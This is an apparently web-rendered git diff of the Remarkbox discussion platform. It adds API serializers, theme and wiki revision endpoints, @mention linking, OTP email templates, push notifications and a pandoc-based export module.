fmt = args[1] if len(args) > 1 else "markdown"
output = client.export_thread(args[0], fmt)
if isinstance(output, bytes):
sys.stdout.buffer.write(output)
else:
print(output)
sys.exit(0)
elif cmd == "export-ns" and len(args) >= 1:
fmt = args[1] if len(args) > 1 else "markdown"
output = client.export_namespace(args[0], fmt)
if isinstance(output, bytes):
sys.stdout.buffer.write(output)
else:
print(output)
sys.exit(0)
elif cmd == "export-node" and len(args) >= 1:
fmt = args[1] if len(args) > 1 else "markdown"
output = client.export_node(args[0], fmt)
if isinstance(output, bytes):
sys.stdout.buffer.write(output)
else:
print(output)
sys.exit(0)
else:
print(usage)
sys.exit(1)
print(json.dumps(result, indent=2))
except RemarkboxError as e:
print(json.dumps({"error": str(e), "status": e.status}, indent=2), file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()

View file

@ -0,0 +1,56 @@
def serialize_node(node, include_children=False):
"""Serialize a Node model to a dictionary."""
result = {
"id": str(node.id),
"root_id": str(node.root_id) if node.root_id else None,
"parent_id": str(node.parent_id) if node.parent_id else None,
"title": node.title,
"data": node.data,
"data_html": node.data_html,
"source_format": node.source_format,
"is_root": node.is_root,
"depth": node.graph_depth,
"created": node.created,
"created_date": node.created_date,
"created_ago": node.human_created_timestamp,
"changed": node.changed,
"changed_date": node.changed_date,
"changed_ago": node.human_changed_timestamp,
"disabled": node.disabled,
"verified": node.verified,
"locked": node.locked,
"approved": node.approved,
"was_edited": node.was_edited,
"author": serialize_author(node),
}
if include_children:
result["stats"] = node.stats if node.cache else None
return result
def serialize_author(node):
"""Serialize the author (User or UserSurrogate) of a node."""
if node.user:
return {
"type": "user",
"id": str(node.user.id),
"name": node.user.name,
}
elif node.user_surrogate:
return {
"type": "surrogate",
"id": str(node.user_surrogate.id),
"name": node.user_surrogate.name,
}
return None
def serialize_namespace_brief(namespace):
"""Serialize minimal namespace info for API responses."""
return {
"id": str(namespace.id),
"name": namespace.name,
"description": namespace.description,
"allow_anonymous": namespace.allow_anonymous,
"node_order": namespace.node_order,
}

80
remarkbox/api/themes.py Normal file
View file

@ -0,0 +1,80 @@
"""Theme generation API endpoints."""
from pyramid.response import Response
from pyramid.view import view_config
from remarkbox.models.namespace import get_namespace_by_name
from remarkbox.lib.theme_generator import generate_theme_css
@view_config(
route_name="api-namespace-theme",
request_method="GET",
require_csrf=False,
)
def api_namespace_theme(request):
"""Generate and serve a theme CSS for a namespace.
The theme is deterministic -- same namespace always gets the same theme.
Cache-friendly: can be cached indefinitely (changes only if we change the algorithm).
"""
namespace_name = request.matchdict["namespace_name"]
# Validate namespace exists
namespace = get_namespace_by_name(request.dbsession, namespace_name)
if namespace is None:
request.response.status_code = 404
request.response.content_type = "application/json"
request.response.json_body = {"error": "Namespace not found"}
return request.response
css = generate_theme_css(namespace_name)
response = Response(
body=css,
content_type="text/css; charset=utf-8",
)
# Cache for 1 day -- theme is deterministic but we might update the algorithm
response.cache_control.max_age = 86400
response.cache_control.public = True
return response
@view_config(
route_name="api-theme-preview",
request_method="GET",
renderer="json",
require_csrf=False,
)
def api_theme_preview(request):
"""Preview theme variables for a namespace (JSON format).
Useful for theme customization UI -- shows the computed palette
without needing to parse CSS.
"""
namespace_name = request.matchdict["namespace_name"]
namespace = get_namespace_by_name(request.dbsession, namespace_name)
if namespace is None:
request.response.status_code = 404
return {"error": "Namespace not found"}
from remarkbox.lib.theme_generator import _name_to_seed
seed = _name_to_seed(namespace_name)
hue = seed[0] % 360
hue_offset = 30 + (seed[1] % 30)
secondary_hue = (hue + hue_offset) % 360
accent_hue = (hue + 180 + (seed[2] % 40 - 20)) % 360
sat_base = 40 + (seed[3] % 25)
return {
"namespace": namespace_name,
"palette": {
"primary_hue": hue,
"secondary_hue": secondary_hue,
"accent_hue": accent_hue,
"saturation_base": sat_base,
},
"css_url": "/api/v1/themes/{}/css".format(namespace_name),
}

1235
remarkbox/api/views.py Normal file

File diff suppressed because it is too large Load diff

187
remarkbox/api/wiki.py Normal file
View file

@ -0,0 +1,187 @@
"""Wiki mode and revision history API endpoints."""
import difflib
from pyramid.view import view_config
from remarkbox.models.node import get_node_by_id, Node
from remarkbox.models.revision import Revision
from .views import check_namespace_api_access, get_json_body, MAX_CONTENT_LENGTH
from .serializers import serialize_node
from remarkbox.models.meta import get_object_by_id
def serialize_revision(rev):
"""Serialize a Revision to a dict."""
return {
"id": str(rev.id),
"node_id": str(rev.node_id),
"user_id": str(rev.user_id) if rev.user_id else None,
"author": rev.user.name if rev.user else None,
"data": rev.data,
"source_format": rev.source_format,
"revision_number": rev.revision_number,
"created": rev.created,
}
@view_config(
route_name="api-node-revisions",
request_method="GET",
renderer="json",
require_csrf=False,
)
def api_node_revisions(request):
"""Get revision history for a node."""
node_id = request.matchdict["node_id"]
node = get_node_by_id(request.dbsession, node_id)
if node is None:
request.response.status_code = 404
return {"error": "Node not found"}
namespace = node.root.namespace
denied = check_namespace_api_access(request, namespace)
if denied:
return denied
revisions = (
request.dbsession.query(Revision)
.filter(Revision.node_id == node.id)
.order_by(Revision.revision_number.desc())
.all()
)
return {
"node_id": str(node.id),
"revisions": [serialize_revision(r) for r in revisions],
"count": len(revisions),
}
@view_config(
route_name="api-node-wiki-edit",
request_method="POST",
renderer="json",
require_csrf=False,
)
def api_wiki_edit(request):
"""Wiki-edit a node (creates a revision, any authenticated user if wiki mode)."""
node_id = request.matchdict["node_id"]
node = get_node_by_id(request.dbsession, node_id)
if node is None:
request.response.status_code = 404
return {"error": "Node not found"}
if not request.user or not request.user.authenticated:
request.response.status_code = 401
return {"error": "Authentication required"}
namespace = node.root.namespace
denied = check_namespace_api_access(request, namespace)
if denied:
return denied
if not namespace.can_wiki_edit(node, request.user):
request.response.status_code = 403
return {"error": "Wiki editing not permitted for this node"}
body = get_json_body(request)
data = body.get("data", "")
if not data:
request.response.status_code = 400
return {"error": "data is required"}
if len(data) > MAX_CONTENT_LENGTH:
request.response.status_code = 400
return {"error": "data exceeds maximum length"}
source_format = body.get("source_format")
node.wiki_edit(data, user=request.user, source_format=source_format)
request.dbsession.add(node)
request.dbsession.flush()
return {"node": serialize_node(node)}
@view_config(
route_name="api-revision-detail",
request_method="GET",
renderer="json",
require_csrf=False,
)
def api_get_revision(request):
"""Get a specific revision by ID."""
revision_id = request.matchdict["revision_id"]
revision = get_object_by_id(request.dbsession, revision_id, Revision)
if revision is None:
request.response.status_code = 404
return {"error": "Revision not found"}
node = get_node_by_id(request.dbsession, revision.node_id)
if node:
namespace = node.root.namespace
denied = check_namespace_api_access(request, namespace)
if denied:
return denied
return {"revision": serialize_revision(revision)}
@view_config(
route_name="api-revision-diff",
request_method="GET",
renderer="json",
require_csrf=False,
)
def api_revision_diff(request):
"""Compare two revisions of the same node via unified diff."""
revision_id = request.matchdict["revision_id"]
other_id = request.matchdict["other_id"]
revision = get_object_by_id(request.dbsession, revision_id, Revision)
if revision is None:
request.response.status_code = 404
return {"error": "Revision not found: {}".format(revision_id)}
other = get_object_by_id(request.dbsession, other_id, Revision)
if other is None:
request.response.status_code = 404
return {"error": "Revision not found: {}".format(other_id)}
if revision.node_id != other.node_id:
request.response.status_code = 400
return {"error": "Revisions belong to different nodes"}
node = get_node_by_id(request.dbsession, revision.node_id)
if node:
namespace = node.root.namespace
denied = check_namespace_api_access(request, namespace)
if denied:
return denied
from_lines = revision.data.splitlines(keepends=True)
to_lines = other.data.splitlines(keepends=True)
diff = difflib.unified_diff(
from_lines,
to_lines,
fromfile="revision {}".format(revision.revision_number),
tofile="revision {}".format(other.revision_number),
)
return {
"from_revision": str(revision.id),
"to_revision": str(other.id),
"from_number": revision.revision_number,
"to_number": other.revision_number,
"node_id": str(revision.node_id),
"diff": "".join(diff),
}

View file

@ -14,6 +14,11 @@ def timestamp_to_date_string(timestamp):
return timestamp_to_datetime(timestamp).strftime("%b %d, %Y %I:%M %P") return timestamp_to_datetime(timestamp).strftime("%b %d, %Y %I:%M %P")
def timestamp_to_date(timestamp):
"""Accepts a timestamp and returns a short date string (e.g., 'Dec 19, 2024')"""
return timestamp_to_datetime(timestamp).strftime("%b %d, %Y")
def timestamp_to_ago_string(timestamp): def timestamp_to_ago_string(timestamp):
"""Accepts a timestamp and returns a human readable string""" """Accepts a timestamp and returns a human readable string"""
return human(timestamp_to_datetime(timestamp), 2, abbreviate=True) return human(timestamp_to_datetime(timestamp), 2, abbreviate=True)

View file

@ -13,6 +13,8 @@ from remarkbox.lib.mail_messages import (
WELCOME_2_TEXT, WELCOME_2_TEXT,
WELCOME_2_HTML, WELCOME_2_HTML,
OPERATOR_HTML, OPERATOR_HTML,
SUDO_OTP_TEXT,
SUDO_OTP_HTML,
) )
import dkim import dkim
@ -187,16 +189,24 @@ def send_verification_digits_to_email(request, to_email, raw_digits):
message_text = WELCOME_1_TEXT.format(raw_digits) message_text = WELCOME_1_TEXT.format(raw_digits)
message_html = WELCOME_1_HTML.format(subject, raw_digits) message_html = WELCOME_1_HTML.format(subject, raw_digits)
if not request.user.verified: if request.user and request.user.verified:
message_text = WELCOME_1_TEXT.format(raw_digits)
message_html = WELCOME_1_HTML.format(subject, raw_digits)
else:
message_text = WELCOME_2_TEXT.format(raw_digits) message_text = WELCOME_2_TEXT.format(raw_digits)
message_html = WELCOME_2_HTML.format(subject, raw_digits) message_html = WELCOME_2_HTML.format(subject, raw_digits)
else:
message_text = WELCOME_1_TEXT.format(raw_digits)
message_html = WELCOME_1_HTML.format(subject, raw_digits)
send_pyramid_email(request, to_email, subject, message_text, message_html) send_pyramid_email(request, to_email, subject, message_text, message_html)
def send_sudo_otp_email(request, to_email, action_description, code):
"""Send a sudo OTP confirmation email."""
subject = "Security Verification - {}".format(code)
message_text = SUDO_OTP_TEXT.format(action=action_description, code=code)
message_html = SUDO_OTP_HTML.format(action=action_description, code=code)
send_pyramid_email(request, to_email, subject, message_text, message_html)
def send_operator_email(request, msg): def send_operator_email(request, msg):
send_pyramid_email( send_pyramid_email(
request, request,

View file

@ -26,21 +26,26 @@ WELCOME_1_HTML = """
<html> <html>
<head> <head>
<title>{0}</title> <title>{0}</title>
<style>
.otp-code {{
font-size: 3em;
font-weight: bold;
letter-spacing: 0.1em;
margin: 1em 0;
}}
</style>
</head> </head>
<body> <body>
<h2>Hello!</h2> <h1 class="otp-code">{1}</h1>
<p>Hello!</p>
<p> <p>
Thanks for joining the discussion. Thanks for joining the discussion.
</p> </p>
<p> <p>
Here is the verification code you requested: Here is the verification code you requested.
</p>
<p><b>{1}</b></p>
<p>
This will verify your email and log you in. This will verify your email and log you in.
</p> </p>
@ -81,16 +86,24 @@ WELCOME_2_HTML = """
<html> <html>
<head> <head>
<title>{0}</title> <title>{0}</title>
<style>
.otp-code {{
font-size: 3em;
font-weight: bold;
letter-spacing: 0.1em;
margin: 1em 0;
}}
</style>
</head> </head>
<body> <body>
<h2>Hello again!</h2> <h1 class="otp-code">{1}</h1>
<p>Hello again!</p>
<p> <p>
Here is the verification code you requested: Here is the verification code you requested.
</p> </p>
<p><b>{1}</b></p>
<h3>What's next?</h3> <h3>What's next?</h3>
<p> <p>
@ -104,6 +117,50 @@ WELCOME_2_HTML = """
</html> </html>
""" """
SUDO_OTP_TEXT = """
Security Verification Required
Action: {action}
Your one-time confirmation code is:
\n{code}\n
This code expires in 15 minutes.
If you did not request this action, you can safely ignore this email.
"""
SUDO_OTP_HTML = """
<!DOCTYPE html>
<html>
<head>
<title>Security Verification</title>
<style>
.otp-code {{
font-size: 3em;
font-weight: bold;
letter-spacing: 0.1em;
margin: 1em 0;
}}
</style>
</head>
<body>
<h2>Security Verification Required</h2>
<p><strong>Action:</strong> {action}</p>
<p>Your one-time confirmation code is:</p>
<h1 class="otp-code">{code}</h1>
<p>This code expires in 15 minutes.</p>
<p>If you did not request this action, you can safely ignore this email.</p>
</body>
</html>
"""
OPERATOR_HTML = """<!DOCTYPE html> OPERATOR_HTML = """<!DOCTYPE html>
<html> <html>
<head> <head>

82
remarkbox/lib/mentions.py Normal file
View file

@ -0,0 +1,82 @@
"""
Parse @username mentions from comment text and resolve them to User objects.
"""
import re
import logging
log = logging.getLogger(__name__)
# Match @username where username is alphanumeric with dashes (matching
# is_user_name_valid from models/user.py). Must be preceded by whitespace
# or start-of-string to avoid matching email addresses like foo@bar.
MENTION_RE = re.compile(r'(?:^|(?<=\s))@([A-Za-z0-9](?:[A-Za-z0-9-]*[A-Za-z0-9])?)')
def parse_mention_usernames(text):
"""Return a set of unique usernames mentioned in text (without the @)."""
if not text:
return set()
return set(MENTION_RE.findall(text))
def resolve_mentions(dbsession, text):
"""
Parse @mentions from text, look up each username in the database.
Returns a dict mapping lowercase username -> User object for users
that exist. Non-existent usernames are omitted.
"""
# Import here to avoid circular import (user -> node -> render -> mentions -> user).
from remarkbox.models.user import get_user_by_name
usernames = parse_mention_usernames(text)
resolved = {}
for username in usernames:
user = get_user_by_name(dbsession, username)
if user is not None:
resolved[username.lower()] = user
return resolved
def replace_mentions_with_links(html, resolved_users, link_prefix=""):
"""
In rendered HTML, replace @username with profile links for resolved users.
Non-existent usernames (not in resolved_users) are left as plain text.
Args:
html: the rendered HTML string
resolved_users: dict of lowercase username -> User object
link_prefix: URL prefix for profile links (e.g. "" or "/embed/ns/foo")
Returns:
HTML with @mentions converted to anchor tags for valid users.
"""
if not resolved_users:
return html
def _replace(match):
username = match.group(1)
user = resolved_users.get(username.lower())
if user is None:
# Not a real user, leave as plain text.
return match.group(0)
# Use the user's canonical name for the display and link.
return '<a href="{}/u/{}" class="mention">@{}</a>'.format(
link_prefix, user.name, user.name
)
# Replace @username patterns in HTML, but skip anything inside tags
# (e.g. inside href attributes). We use a two-pass approach:
# first split on HTML tags, then only do replacements in text segments.
parts = re.split(r'(<[^>]+>)', html)
result = []
for i, part in enumerate(parts):
if part.startswith('<'):
# This is an HTML tag, leave it alone.
result.append(part)
else:
# This is a text segment, apply mention replacement.
result.append(MENTION_RE.sub(_replace, part))
return ''.join(result)

View file

@ -67,6 +67,30 @@ def filter_watchers(watchers, exclude_users=None, include_users=None):
return f_watchers return f_watchers
def get_mentioned_user_watchers(node):
"""
Parse @mentions from a node's data and return reply watchers
for mentioned users who exist.
"""
from remarkbox.lib.mentions import resolve_mentions
if not node.data:
return []
dbsession = node.dbsession
if dbsession is None:
return []
resolved = resolve_mentions(dbsession, node.data)
watchers = []
for user in resolved.values():
if user.verified:
# Use the user's reply watcher for mention notifications.
for w in user.reply_watchers:
watchers.append(w)
return watchers
def get_all_watchers(request, node_event): def get_all_watchers(request, node_event):
"""Given a request and node_event, return all watcher objects.""" """Given a request and node_event, return all watcher objects."""
# Note: we only notify a user once per method per event. # Note: we only notify a user once per method per event.
@ -86,6 +110,9 @@ def get_all_watchers(request, node_event):
# know there was a new child node added to the conversation. # know there was a new child node added to the conversation.
watchers.extend(node.parent.user.reply_watchers) watchers.extend(node.parent.user.reply_watchers)
# extend watchers for @mentioned users.
watchers.extend(get_mentioned_user_watchers(node))
# extend the watchers list with any watchers of the request's root (thread). # extend the watchers list with any watchers of the request's root (thread).
watchers.extend(node.root.watchers) watchers.extend(node.root.watchers)
@ -151,6 +178,37 @@ def get_email_notifications(dbsession, frequency):
return notification_dict return notification_dict
def filter_orphaned_notifications(notification_dict):
"""
Filter out notifications with null node_event from the notification dictionary.
Args:
notification_dict: Dictionary mapping user_id to list of notifications
Returns:
dict: Filtered notification dictionary with orphaned notifications removed
"""
filtered_dict = {}
total_orphaned = 0
for user_id, notifications in notification_dict.items():
valid_notifications = []
for notification in notifications:
if notification.node_event is None:
total_orphaned += 1
log.warning(f"Skipping orphaned notification {notification.id} for user {user_id}")
else:
valid_notifications.append(notification)
if valid_notifications:
filtered_dict[user_id] = valid_notifications
if total_orphaned > 0:
log.warning(f"Filtered out {total_orphaned} orphaned notifications")
return filtered_dict
def deliver_scheduled_notifications(request=None): def deliver_scheduled_notifications(request=None):
from datetime import datetime from datetime import datetime
from pyramid.scripting import prepare from pyramid.scripting import prepare
@ -160,12 +218,52 @@ def deliver_scheduled_notifications(request=None):
request = env["request"] request = env["request"]
notification_dict = get_email_notifications(request.dbsession, "daily") notification_dict = get_email_notifications(request.dbsession, "daily")
send_digest_notifications(request, notification_dict, "daily") filtered_dict = filter_orphaned_notifications(notification_dict)
send_digest_notifications(request, filtered_dict, "daily")
# Send weekly on Monday. # Send weekly on Monday.
if datetime.today().weekday() == 0: if datetime.today().weekday() == 0:
notification_dict = get_email_notifications(request.dbsession, "weekly") notification_dict = get_email_notifications(request.dbsession, "weekly")
send_digest_notifications(request, notification_dict, "weekly") filtered_dict = filter_orphaned_notifications(notification_dict)
send_digest_notifications(request, filtered_dict, "weekly")
def _send_push_for_notification(request, notification, root, namespace):
"""Send a push notification for a single notification if the user wants it."""
from remarkbox.lib.push import PUSH_AVAILABLE, send_push_to_user
if not PUSH_AVAILABLE:
return
user = notification.user
pref = getattr(user, "notification_preference", "email")
if pref not in ("push", "both"):
return
node = notification.node_event.node
action = notification.node_event.action
author = node.user.name if node.user else "Someone"
action_text = {
"created": "started a new thread",
"commented": "posted a reply",
"approved": "approved a comment",
"enabled": "enabled a comment",
"disabled": "disabled a comment",
"verified": "verified a comment",
}.get(action, action)
title = "[{}] new activity".format(namespace.name)
body = "{} {} on {}".format(author, action_text, root.title or "a thread")
url = "{}/r/{}".format(request.host_url, node.id)
payload = {
"title": title,
"body": body,
"url": url,
"tag": "remarkbox-{}".format(str(notification.id)[:8]),
}
send_push_to_user(request, user, payload)
def send_immediate_notifications(request, notifications): def send_immediate_notifications(request, notifications):
@ -181,39 +279,52 @@ def send_immediate_notifications(request, notifications):
subject = "[{}] new activity".format(namespace.name) subject = "[{}] new activity".format(namespace.name)
for notification in notifications: for notification in notifications:
user_pref = getattr(notification.user, "notification_preference", "email")
# Send email if the user wants email (or both).
if deliver_email_notifications and notification.method == "email": if deliver_email_notifications and notification.method == "email":
send_template_email( if user_pref in ("email", "both"):
request, send_template_email(
notification.user.email, request,
subject,
"mail_immediate_text.j2",
"mail_immediate_html.j2",
{
"request": request,
"notification": notification,
"root": root,
"subject": subject,
},
)
log.info(
"notification frequency=immediately email={}, count={}".format(
notification.user.email, notification.user.email,
notification.id, subject,
"mail_immediate_text.j2",
"mail_immediate_html.j2",
{
"request": request,
"notification": notification,
"root": root,
"subject": subject,
},
) )
# Send push notification if the user wants push (or both).
_send_push_for_notification(request, notification, root, namespace)
log.info(
"notification frequency=immediately user={} ({}), count={}".format(
notification.user.name,
notification.user_id,
notification.id,
) )
notification.sent = True )
request.dbsession.add(notification) notification.sent = True
request.dbsession.flush() request.dbsession.add(notification)
request.dbsession.flush()
def group_notifications_by_root(notifications): def group_notifications_by_root(notifications):
""" """
group notifications by root node, where the key is group notifications by root node, where the key is
the root node and the value is a list of notification objects. the root node and the value is a list of notification objects.
Skips orphaned notifications (where node_event is None).
""" """
groups = defaultdict(list) groups = defaultdict(list)
for notification in notifications: for notification in notifications:
groups[notification.node_event.node.root].append(notification) if notification.node_event is not None:
groups[notification.node_event.node.root].append(notification)
else:
log.warning(f"Skipping orphaned notification {notification.id} in group_notifications_by_root")
return groups return groups
@ -248,9 +359,10 @@ def send_digest_notifications(request, notification_dict, frequency="daily"):
}, },
) )
log.info( log.info(
"notification frequency={} email={}, count={}".format( "notification frequency={} user={} ({}), count={}".format(
frequency, frequency,
recipient_email, user.name,
user_id,
notifications_count, notifications_count,
) )
) )

499
remarkbox/lib/pandoc.py Normal file
View file

@ -0,0 +1,499 @@
"""Pandoc integration for remarkbox.
Converts node trees to documents in any format pandoc supports.
Subprocess-based no pip dependencies.
"""
import logging
import subprocess
import tempfile
import os
from functools import lru_cache
log = logging.getLogger(__name__)
# Formats that produce binary output (need file-based output, not stdout text).
BINARY_FORMATS = frozenset({
"pdf", "docx", "odt", "epub", "epub2", "epub3", "pptx", "fb2",
})
# Formats we generate by default for namespace/thread-level export.
DEFAULT_FORMATS = [
"markdown", "gfm", "commonmark", "html5", "rst",
"mediawiki", "latex", "man", "plain", "rtf",
"asciidoc", "textile", "org", "json",
"epub", "docx", "odt", "pdf",
]
# Content types for HTTP responses.
CONTENT_TYPES = {
"markdown": "text/markdown; charset=utf-8",
"gfm": "text/markdown; charset=utf-8",
"commonmark": "text/markdown; charset=utf-8",
"commonmark_x": "text/markdown; charset=utf-8",
"html": "text/html; charset=utf-8",
"html5": "text/html; charset=utf-8",
"html4": "text/html; charset=utf-8",
"rst": "text/x-rst; charset=utf-8",
"latex": "application/x-latex; charset=utf-8",
"beamer": "application/x-latex; charset=utf-8",
"man": "text/troff; charset=utf-8",
"plain": "text/plain; charset=utf-8",
"json": "application/json; charset=utf-8",
"mediawiki": "text/plain; charset=utf-8",
"asciidoc": "text/plain; charset=utf-8",
"asciidoctor": "text/plain; charset=utf-8",
"textile": "text/plain; charset=utf-8",
"org": "text/plain; charset=utf-8",
"rtf": "application/rtf",
"docx": "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
"odt": "application/vnd.oasis.opendocument.text",
"epub": "application/epub+zip",
"epub2": "application/epub+zip",
"epub3": "application/epub+zip",
"pdf": "application/pdf",
"pptx": "application/vnd.openxmlformats-officedocument.presentationml.presentation",
"fb2": "application/xml",
"jira": "text/plain; charset=utf-8",
"dokuwiki": "text/plain; charset=utf-8",
"xwiki": "text/plain; charset=utf-8",
"zimwiki": "text/plain; charset=utf-8",
"typst": "text/plain; charset=utf-8",
"context": "text/plain; charset=utf-8",
"texinfo": "text/plain; charset=utf-8",
"opml": "application/xml; charset=utf-8",
"tei": "application/xml; charset=utf-8",
"docbook": "application/xml; charset=utf-8",
"docbook5": "application/xml; charset=utf-8",
"icml": "application/xml; charset=utf-8",
}
# File extensions for download filenames.
FILE_EXTENSIONS = {
"markdown": ".md",
"gfm": ".md",
"commonmark": ".md",
"commonmark_x": ".md",
"html": ".html",
"html5": ".html",
"html4": ".html",
"rst": ".rst",
"latex": ".tex",
"beamer": ".tex",
"man": ".1",
"plain": ".txt",
"json": ".json",
"mediawiki": ".wiki",
"asciidoc": ".adoc",
"asciidoctor": ".adoc",
"textile": ".textile",
"org": ".org",
"rtf": ".rtf",
"docx": ".docx",
"odt": ".odt",
"epub": ".epub",
"epub2": ".epub",
"epub3": ".epub",
"pdf": ".pdf",
"pptx": ".pptx",
"fb2": ".fb2",
"jira": ".jira",
"dokuwiki": ".txt",
"xwiki": ".txt",
"zimwiki": ".txt",
"typst": ".typ",
"context": ".tex",
"texinfo": ".texi",
"opml": ".opml",
"tei": ".xml",
"docbook": ".xml",
"docbook5": ".xml",
"icml": ".icml",
}
# URL extension → pandoc format name. Lets users hit intuitive extensions
# (`thread.md`, `thread.html`, `thread.tex`) instead of pandoc's internal
# names (`markdown`, `html5`, `latex`).
EXTENSION_ALIASES = {
"md": "markdown",
"markdown": "markdown",
"htm": "html5",
"html": "html5",
"tex": "latex",
"txt": "plain",
"1": "man",
"wiki": "mediawiki",
"adoc": "asciidoc",
"asciidoc": "asciidoc",
"rst": "rst",
"org": "org",
"rtf": "rtf",
"docx": "docx",
"odt": "odt",
"epub": "epub3",
"pdf": "pdf",
"pptx": "pptx",
"fb2": "fb2",
"jira": "jira",
"typ": "typst",
"texi": "texinfo",
"opml": "opml",
"icml": "icml",
"json": "json",
"xml": "docbook5",
"ipynb": "ipynb",
}
def resolve_format(ext):
"""Map a URL extension (lowercase) to its pandoc format name.
Falls back to the raw extension so pandoc's own format names
(`commonmark_x`, `docbook5`, etc.) pass through unchanged.
"""
ext = ext.lower()
return EXTENSION_ALIASES.get(ext, ext)
# 30s — generous on cold-start contended runners (xdist N-worker fan-out).
# The result is cached, so this cost gets paid at most once per process.
_FORMAT_QUERY_TIMEOUT = 30
@lru_cache(maxsize=1)
def get_available_output_formats():
"""Return the set of output formats pandoc supports on this system.
Result cached per process pandoc's format list is static for a given
binary, so subsequent callers (and parallel pytest workers each in their
own Python process) skip the subprocess entirely after first call.
"""
try:
result = subprocess.run(
["pandoc", "--list-output-formats"],
capture_output=True, text=True, timeout=_FORMAT_QUERY_TIMEOUT,
)
return frozenset(result.stdout.strip().split("\n"))
except Exception:
log.exception("Failed to query pandoc output formats")
return frozenset()
@lru_cache(maxsize=1)
def get_available_input_formats():
"""Return the set of input formats pandoc supports on this system.
Result cached per process see get_available_output_formats() above.
"""
try:
result = subprocess.run(
["pandoc", "--list-input-formats"],
capture_output=True, text=True, timeout=_FORMAT_QUERY_TIMEOUT,
)
return frozenset(result.stdout.strip().split("\n"))
except Exception:
log.exception("Failed to query pandoc input formats")
return frozenset()
def convert(source, from_format="markdown", to_format="html5", title=None, standalone=True):
"""Convert source text from one format to another via pandoc.
Args:
source: Input text.
from_format: Pandoc input format name.
to_format: Pandoc output format name.
title: Optional document title (sets pandoc metadata).
standalone: Pass --standalone to pandoc (full document). Set False
for body fragments required when storing HTML in data_html.
Returns:
bytes for binary formats (pdf, docx, etc.), str for text formats.
Raises:
subprocess.CalledProcessError on pandoc failure.
ValueError if format is not supported.
"""
is_binary = to_format in BINARY_FORMATS
cmd = ["pandoc", "-f", from_format, "-t", to_format]
if standalone:
cmd.append("--standalone")
if title:
# For HTML-family outputs (and PDF, which we render through HTML via
# wkhtmltopdf), set the template's pagetitle so we get <title> without
# an extra title-block in the body — the rendered document already
# carries its own H1 from the thread data. For every other format,
# set the proper document metadata.
if to_format in ("html", "html5", "html4", "chunkedhtml", "pdf"):
cmd.extend(["-V", "pagetitle={}".format(title)])
else:
cmd.extend(["--metadata", "title={}".format(title)])
# PDF needs explicit engine since no pdflatex. Tighten margins —
# wkhtmltopdf defaults to ~25mm top which leaves a half-page of empty
# space above content. 12mm/15mm is enough to look printed without
# wasting paper.
#
# Pandoc's --standalone HTML5 template applies `max-width: 36em` and
# `padding: 50px` to body, centering content in a narrow column on
# any size paper. We want content to fill the page (minus wkhtmltopdf
# margins) so we override that CSS via header-includes.
if to_format == "pdf":
cmd.extend([
"--pdf-engine=wkhtmltopdf",
"-V", "margin-top=12mm",
"-V", "margin-bottom=12mm",
"-V", "margin-left=15mm",
"-V", "margin-right=15mm",
"-V", "header-includes=<style>html,body{max-width:none!important;padding:0!important;margin:0!important;}</style>",
])
if is_binary:
# Binary formats need file output.
with tempfile.NamedTemporaryFile(
suffix=FILE_EXTENSIONS.get(to_format, ""), delete=False
) as tmp:
tmp_path = tmp.name
try:
cmd.extend(["-o", tmp_path])
subprocess.run(
cmd, input=source, text=True,
capture_output=True, timeout=60, check=True,
)
with open(tmp_path, "rb") as f:
return f.read()
finally:
try:
os.unlink(tmp_path)
except OSError:
pass
else:
result = subprocess.run(
cmd, input=source, text=True,
capture_output=True, timeout=30, check=True,
)
return result.stdout
def _node_data_as_markdown(node):
"""Return node content rendered as markdown.
The canonical rendered form of a node is node.data_html produced at
write time regardless of what source syntax the author used (markdown,
rst, mediawiki, latex, html...). Converting HTML markdown always
yields real markdown, and sidesteps bugs where a node's source_format
label disagrees with the actual bytes stored in node.data (observed
in the wild: RST content labelled source_format="markdown").
Falls back to raw node.data if data_html is absent or the conversion
fails better a rough dump than an empty export.
"""
html = getattr(node, "data_html", None)
if html:
try:
return convert(
html, from_format="html", to_format="markdown",
standalone=False,
).rstrip()
except Exception:
log.exception(
"Pandoc failed converting node %s data_html to markdown; "
"falling back to raw source",
node.id,
)
return (node.data or "")
def node_tree_to_markdown(root_node, nodes, include_root=True, provenance=None):
"""Render a node tree as a nested markdown document.
Args:
root_node: The root Node object.
nodes: Iterable of all Node objects in the tree (flat, any order).
include_root: Whether to include the root node content.
provenance: Optional dict from `provenance.build(...)` when present,
the document is wrapped in a header banner + QR code, with each
reply heading hyperlinking its date to the canonical permalink,
and a footer repeating the source URI.
Returns:
Markdown string with the full tree rendered as a document.
"""
from remarkbox.lib import provenance as prov
# Build lookup: parent_id -> sorted children
children_map = {}
node_map = {}
for node in nodes:
node_map[node.id] = node
pid = node.parent_id
if pid not in children_map:
children_map[pid] = []
children_map[pid].append(node)
# Include root in the map
if include_root and root_node.id not in node_map:
node_map[root_node.id] = root_node
# Sort children by created timestamp
for pid in children_map:
children_map[pid].sort(key=lambda n: n.created)
lines = []
if provenance:
lines.append(prov.header_md(
canonical_uri=provenance["canonical_uri"],
snapshot_iso=provenance["snapshot_iso"],
version=provenance["version"],
qr_data_uri=provenance.get("qr_data_uri"),
kind=provenance.get("kind", "thread"),
))
# Thread bodies already carry their own H1 (or RST ==== underline that
# becomes H1 after conversion). Don't prepend another `# {title}` — it
# triples the title when pandoc then also adds a title-block in HTML/PDF.
if include_root and root_node.data:
lines.append(_node_data_as_markdown(root_node))
lines.append("")
def _render_children(parent_id, depth):
for child in children_map.get(parent_id, []):
if child.disabled:
continue
# Heading level based on depth (h2 for first-level replies, etc.)
heading_level = min(depth + 2, 6)
author = _get_author_name(child)
date = child.created_date or ""
permalink = (
prov.permalink_for_node(child, host=provenance.get("host"))
if provenance else None
)
lines.append(prov.reply_heading_md(
heading_level, author, date, permalink=permalink,
))
lines.append("")
if child.data:
lines.append(_node_data_as_markdown(child))
lines.append("")
_render_children(child.id, depth + 1)
_render_children(root_node.id, 0)
if provenance:
lines.append(prov.footer_md(
canonical_uri=provenance["canonical_uri"],
snapshot_iso=provenance["snapshot_iso"],
version=provenance["version"],
))
return "\n".join(lines)
def namespace_to_markdown(namespace, roots, node_fetcher, provenance=None):
"""Render an entire namespace as a markdown book.
Args:
namespace: The Namespace object.
roots: Iterable of root Node objects (chapters).
node_fetcher: Callable(root_node) -> list of all nodes in that tree.
provenance: Optional dict from `provenance.build(...)` when present,
wraps the book with a header banner + QR pointing at the namespace
index, hyperlinks every chapter title to the live thread, and
hyperlinks every reply date to the live permalink.
Returns:
Markdown string with the full namespace as a document.
"""
